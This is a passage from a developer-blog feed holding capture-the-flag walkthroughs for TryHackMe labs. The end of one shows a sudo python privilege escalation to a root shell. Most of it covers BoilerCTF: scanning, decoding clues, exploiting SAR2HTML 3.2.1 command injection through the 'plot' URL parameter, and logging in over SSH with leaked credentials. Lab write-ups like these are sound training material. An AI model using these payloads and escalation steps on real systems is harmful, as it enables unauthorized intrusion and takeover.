&lt;/div&gt;



&lt;p&gt;The owner of the file is &lt;code&gt;root&lt;/code&gt;. But we can edit or run files with sudo rights. So, let's create new &lt;code&gt;run.py&lt;/code&gt; and use it to get root access.&lt;/p&gt;

&lt;p&gt;First, you can run &lt;code&gt;mv run.py run.py.hack&lt;/code&gt; and create new file and run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cyber@ubuntu:~&lt;span class="nv"&gt;$ &lt;/span&gt;vim run.py
cyber@ubuntu:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;run.py
import os
os.system&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/bin/bash"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
cyber@ubuntu:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/python3 /home/cyber/run.py 
root@ubuntu:~# 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we go to &lt;code&gt;/home/yash&lt;/code&gt; we got &lt;code&gt;flag2.txt&lt;/code&gt;. There is also &lt;code&gt;root.txt&lt;/code&gt; in the same folder but it throws a message. Let's go to &lt;code&gt;/root&lt;/code&gt; and finish the lab.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ubuntu:/# &lt;span class="nb"&gt;cd &lt;/span&gt;root/
root@ubuntu:/root# &lt;span class="nb"&gt;ls
&lt;/span&gt;root.txt
root@ubuntu:/root# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt 
████████████████████████████████████  
██                                ██  
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██  
████████████████████████████████████  


                        battery designed by cyberbot :&lt;span class="o"&gt;)&lt;/span&gt;
                        Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859

THM&lt;span class="o"&gt;{&lt;/span&gt;ROOT_FLAG&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hope you found it useful. If you have any other questions. I'm happy to help!!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.linkedin.com/in/mikail-kakabayev-5401183aa?utm_source=share_via&amp;amp;utm_content=profile&amp;amp;utm_medium=member_ios" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mikail-kakabayev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;HAPPY HACKING !!!&lt;/p&gt;

</description>
      <category>security</category>
      <category>learning</category>
      <category>testing</category>
    </item>
    <item>
      <title>TryHackMe | BoilerCTF | WALKTHROUGH</title>
      <dc:creator>Mikail Kakabayev</dc:creator>
      <pubDate>Sun, 17 May 2026 21:10:34 +0000</pubDate>
      <link>https://forem.com/kaaayii/tryhackme-boilerctf-walkthrough-3dk8</link>
      <guid>https://forem.com/kaaayii/tryhackme-boilerctf-walkthrough-3dk8</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LAB: BoilerCTF (TryHackMe)
DIFFICULTY: Medium
TARGET: root.txt
TOOLS: Nmap, Gobuster
VULNERABLE: SAR2HTML 3.2.1 (RCE)

We'll gain root privileges and capture root.txt by exploiting SAR2HTML 3.2.1 (RCE).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We start with an &lt;strong&gt;Nmap&lt;/strong&gt; scan to discover open ports and running services on the target machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;-sC - Runs Nmap's default set of safe scripts&lt;/li&gt;
&lt;li&gt;-sV - Probes open ports to identify service versions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6a6b0oh3ns9kpurxewps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6a6b0oh3ns9kpurxewps.png" alt=" " width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 21 (FTP)&lt;/strong&gt; — Anonymous login is enabled. This means anyone can connect without a password. We'll log in and see if any files are accessible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 80 (HTTP)&lt;/strong&gt; — An Apache web server. The presence of &lt;code&gt;/robots.txt&lt;/code&gt; suggests there may be hidden directories. We'll use Gobuster or FFUF to find them.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Port 10000 (Webmin)&lt;/strong&gt; — A web-based administration panel. This could be a path to root if we find credentials or a known exploit.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's find what we got on FTP:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbrkaxjo1xgwmt5uw9j0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frbrkaxjo1xgwmt5uw9j0.png" alt=" " width="750" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80w59362hq29kq4xmyoj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80w59362hq29kq4xmyoj.png" alt=" " width="800" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is hidden file called &lt;code&gt;info.txt&lt;/code&gt;.&lt;br&gt;
We can download it using &lt;code&gt;get&lt;/code&gt; command and check what's inside.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;get .info.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl75x3znnbu2xd5lp43wr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl75x3znnbu2xd5lp43wr.png" alt=" " width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we have ROT13 encoded text. We can decode it by following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl"&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'A-Za-z'&lt;/span&gt; &lt;span class="s1"&gt;'N-ZA-Mn-za-m'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pah85d00w6421knaok1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7pah85d00w6421knaok1.png" alt=" " width="800" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After decoding we got nothing interesting here. So let's continue.&lt;/p&gt;

&lt;p&gt;We have &lt;code&gt;robots.txt&lt;/code&gt; and &lt;code&gt;Webmin&lt;/code&gt; admin running on port 10000.&lt;/p&gt;

&lt;p&gt;Lets first check &lt;code&gt;robots.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y9k04f501qjfgwbyjjg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y9k04f501qjfgwbyjjg.png" alt=" " width="800" height="156"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The robots.txt file contained multiple disallowed paths. Most appear to be rabbit holes (the creator literally includes &lt;code&gt;/a+rabbit&lt;/code&gt; as an entry). The entries like &lt;code&gt;/.ssh&lt;/code&gt; and &lt;code&gt;/tmp&lt;/code&gt; are not web-accessible and can be ignored. &lt;/p&gt;

&lt;p&gt;Below the robots.txt entries, I found ASCII decimal numbers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each number represents an ASCII character code. After decoding, I got:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This looks like Base64. Let's decode it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This appears to be a hash or key. I'll save it for now, though it may be another rabbit hole.&lt;/p&gt;

&lt;p&gt;Next, I used Gobuster to discover hidden directories on the web server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnli9agkuptfl3tugno3a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnli9agkuptfl3tugno3a.png" alt=" " width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As a result we have &lt;code&gt;/joomla&lt;/code&gt; and &lt;code&gt;/manual&lt;/code&gt; directories.&lt;/p&gt;

&lt;p&gt;Let's try &lt;code&gt;/manual&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48h1ssxdk4rk6i5ti20s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F48h1ssxdk4rk6i5ti20s.png" alt=" " width="800" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's just an Apache Documentation. Nothing interesting here.&lt;/p&gt;

&lt;p&gt;Now, let's try &lt;code&gt;/joomla&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzr2d9hqrnebf08oiupt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpzr2d9hqrnebf08oiupt.png" alt=" " width="800" height="1132"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's a small webpage, I did some research but found nothing except a login form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejscypfy0wo897yu2ygp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejscypfy0wo897yu2ygp.png" alt=" " width="476" height="576"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tested the login page for information disclosure by entering invalid credentials and analyzing the error messages. When i try 1 (for username) and 1234 (for password) it says:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w55ncesccdxw9qbhylr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4w55ncesccdxw9qbhylr.png" alt=" " width="800" height="373"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#### Warning
JUser: :_load: Unable to load user with ID: 1
Username and password do not match or you do not have an account yet.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When I entered &lt;code&gt;1&lt;/code&gt; (a number) as the username, Joomla's backend tried to load user ID &lt;code&gt;1&lt;/code&gt; (the default admin account) instead of treating &lt;code&gt;1&lt;/code&gt; as a username string. The error &lt;code&gt;Unable to load user with ID: 1&lt;/code&gt; suggests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;User ID 1 &lt;strong&gt;exists&lt;/strong&gt; in the database&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;But something is wrong (maybe the account is disabled, deleted, or corrupted)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a minor information disclosure vulnerability, but couldn't go far.&lt;/p&gt;

&lt;p&gt;Let's run Gobuster again for &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/&lt;/code&gt; and check what we got next.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feow2lwrfchd3xkz5a0ka.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feow2lwrfchd3xkz5a0ka.png" alt=" " width="800" height="828"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By checking interesting directories such as: &lt;code&gt;/_archive&lt;/code&gt;, &lt;code&gt;/_files&lt;/code&gt;, &lt;code&gt;/_database&lt;/code&gt; and &lt;code&gt;/temp&lt;/code&gt;. I found some notes which is not really important. But in &lt;code&gt;/_files&lt;/code&gt;, i found a base64 encoded text and decoded it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;V2hvcHNpZSBkYWlzeQo=&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I'll keep this also for future use.&lt;/p&gt;

&lt;p&gt;Now lets check &lt;code&gt;/administrator&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsd22cuketg5n0t8dvo0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsd22cuketg5n0t8dvo0i.png" alt=" " width="762" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Found one more login page. Also tried some basic possible vulnerability tests, but still nothing.&lt;/p&gt;

&lt;p&gt;Now when i try &lt;code&gt;/_test&lt;/code&gt; endpoint.&lt;/p&gt;

&lt;p&gt;It gave me:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizz3xyctsxtnz8r47wd4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fizz3xyctsxtnz8r47wd4.png" alt=" " width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It runs SAR2HTML, which is designed for system administrators. I found that SAR2HTML 3.2.1 contains a critical security flaw ( Remote Command Execution ). The application takes user input (specifically the &lt;code&gt;plot&lt;/code&gt; parameter in the URL) and passes it directly to the server's operating system without checking if it is safe. Because there is no sanitization, you can trick the server into running any command you want by adding a semicolon (&lt;code&gt;;&lt;/code&gt;) or a pipe (&lt;code&gt;|&lt;/code&gt;) to the URL.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n1khqp2q7v6cx3xifeo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6n1khqp2q7v6cx3xifeo.png" alt=" " width="800" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By checking &lt;a href="https://www.exploit-db.com/exploits/47204" rel="noopener noreferrer"&gt;https://www.exploit-db.com/exploits/47204&lt;/a&gt;, we understand that &lt;code&gt;http://&amp;lt;ipaddr&amp;gt;/index.php?plot=;&amp;lt;command-here&amp;gt;&lt;/code&gt; going to execute the command that we want. I entered basic command to check if it works.&lt;/p&gt;

&lt;p&gt;I changed &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/_test/index.php?plot=NEW&lt;/code&gt; to &lt;code&gt;http://{LABS_IP_ADDRESS}/joomla/_test/index.php?plot=;ls&lt;/code&gt; and BOOM!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgqz3pndbs36nqoum0ix.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgqz3pndbs36nqoum0ix.png" alt=" " width="610" height="628"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It displays the files from current directory.&lt;/p&gt;

&lt;p&gt;Let's see whats inside &lt;code&gt;log.txt&lt;/code&gt; file by typing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://&lt;span class="o"&gt;{&lt;/span&gt;LABS_IP_ADDRESS&lt;span class="o"&gt;}&lt;/span&gt;/joomla/_test/index.php?plot&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt;+log.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp002lkwxo5oyb3t4vv1p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp002lkwxo5oyb3t4vv1p.png" alt=" " width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that there is users called &lt;code&gt;basterd&lt;/code&gt; and &lt;code&gt;pentest&lt;/code&gt;, including password which is &lt;code&gt;superduperp@$$&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On the Nmap scan, there is SSH running on port 55007.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhhxob9ubqrthxivkkqy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhhxob9ubqrthxivkkqy.png" alt=" " width="800" height="111"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's try to login using the credentials that we found.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgykjfpgi8l0dntvx2b8a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgykjfpgi8l0dntvx2b8a.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we're in.&lt;/p&gt;

&lt;p&gt;There is a &lt;code&gt;backup.sh&lt;/code&gt; file in current directory. Lets check it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;REMOTE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1.2.3.4

&lt;span class="nv"&gt;SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/stoner
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/backup

&lt;span class="nv"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/stoner/bck.log

&lt;span class="nv"&gt;DATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%y&lt;span class="se"&gt;\.&lt;/span&gt;%m&lt;span class="se"&gt;\.&lt;/span&gt;%d&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;

&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;stoner
&lt;span class="c"&gt;#superduperp@$$no1knows&lt;/span&gt;

ssh &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SOURCE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nv"&gt;$SOURCE&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'data'&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Begining copy of"&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;
        scp  &lt;span class="nv"&gt;$SOURCE&lt;/span&gt;/&lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="nv"&gt;$USER&lt;/span&gt;@&lt;span class="nv"&gt;$REMOTE&lt;/span&gt;:&lt;span class="nv"&gt;$TARGET&lt;/span&gt;/&lt;span class="nv"&gt;$DATE&lt;/span&gt;
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; &lt;span class="s2"&gt;"completed"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$LOG&lt;/span&gt;

